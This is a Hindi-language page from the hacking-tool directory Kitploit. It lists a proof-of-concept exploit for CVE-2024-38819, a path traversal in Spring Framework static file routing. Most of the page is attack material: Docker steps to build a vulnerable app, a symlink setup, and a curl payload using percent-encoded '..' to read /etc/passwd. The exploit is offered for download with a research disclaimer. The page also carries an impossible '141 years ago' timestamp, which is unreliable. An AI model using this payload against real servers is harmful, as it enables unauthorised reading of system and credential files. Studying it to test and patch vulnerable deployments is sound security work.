Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-38819-POC2 — CVE-2024-38819 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Spring Boot स्टैटिक फ़ाइल रूटिंग में सिम्बोलिक लिंक और प्रतिशत-एन्कोडिंग के माध्यम से पाथ ट्रैवर्सल का प्रदर्शन करता है। | Kitploit
उपकरण/GitHubGitHub/vishalnoza/cve-2024-38819-poc2
कंटेनर सुरक्षाभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubvishalnoza/cve-2024-38819-poc2

CVE-2024-38819-POC2

CVE-2024-38819 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Spring Boot स्टैटिक फ़ाइल रूटिंग में सिम्बोलिक लिंक और प्रतिशत-एन्कोडिंग के माध्यम से पाथ ट्रैवर्सल का प्रदर्शन करता है।

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
141 साल पहलेअभी तक समीक्षित नहीं

CVE-2024-38819: प्रूफ ऑफ कॉन्सेप्ट (PoC)

यह CVE-2024-38819 भेद्यता के लिए एक प्रूफ ऑफ कॉन्सेप्ट है, जिसे मैंने रिपोर्ट किया था, जो पाथ ट्रैवर्सल एक्सप्लॉइट को प्रदर्शित करता है।

निष्पादन चरण

  1. Docker इमेज बनाएँ (Spring Boot 3.3.4, जो Spring Framework 6.1.13 पर आधारित है)

    root@kitploit:~
    cd vuln
    docker build -t cve-2024-38819-poc .
    
  2. कंटेनर चलाएँ और पोर्ट 8080 को होस्ट मशीन पर एक्सपोज़ करें

    root@kitploit:~
    docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc
    
  3. PoC को निष्पादित करने और भेद्यता की पुष्टि करने के लिए निम्न कमांड चलाएँ

    root@kitploit:~
    curl http://localhost:8080/static/link/%2e%2e/etc/passwd
    

    यदि हमला सफल होता है, तो /etc/passwd फ़ाइल की सामग्री प्रदर्शित होगी।

स्पष्टीकरण

  1. स्टैटिक फ़ाइल रूटिंग सेट करने के लिए RouterFunction और FileSystemResource का उपयोग करते हुए निम्न कोड के साथ PathTraversalDemoApplication.java बनाएँ:

    root@kitploit:~
    public RouterFunction<ServerResponse> staticResourceRouter() {
        return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
    }
    
  2. सिंबलिक लिंक बनाने के लिए Dockerfile में निम्न कमांड जोड़ें:

    root@kitploit:~
    RUN ln -s /static /app/static/link
    
  3. एक पेलोड बनाएँ जो सिंबलिक लिंक के माध्यम से निर्देशिकाओं को ट्रैवर्स करने के लिए प्रतिशत-एन्कोडिंग का उपयोग करता है।

    • पथ: /static/link/%2e%2e/etc/passwd
  4. PoC को निष्पादित करने और जाँचने के लिए कि हमला सफल है या नहीं, निम्न curl कमांड का उपयोग करें:

    root@kitploit:~
    curl http://localhost:8080/static/link/%2e%2e/etc/passwd
    

    यदि हमला सफल होता है, तो /etc/passwd फ़ाइल की सामग्री प्रदर्शित होगी।

अस्वीकरण

यह PoC शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। इसे किसी वास्तविक सिस्टम पर उपयोग करने से पहले, सुनिश्चित करें कि भेद्यता ठीक कर दी गई है और आपके पास उचित अधिकार है। लेखक इस कोड के किसी भी दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता है।

टूल डाउनलोड करें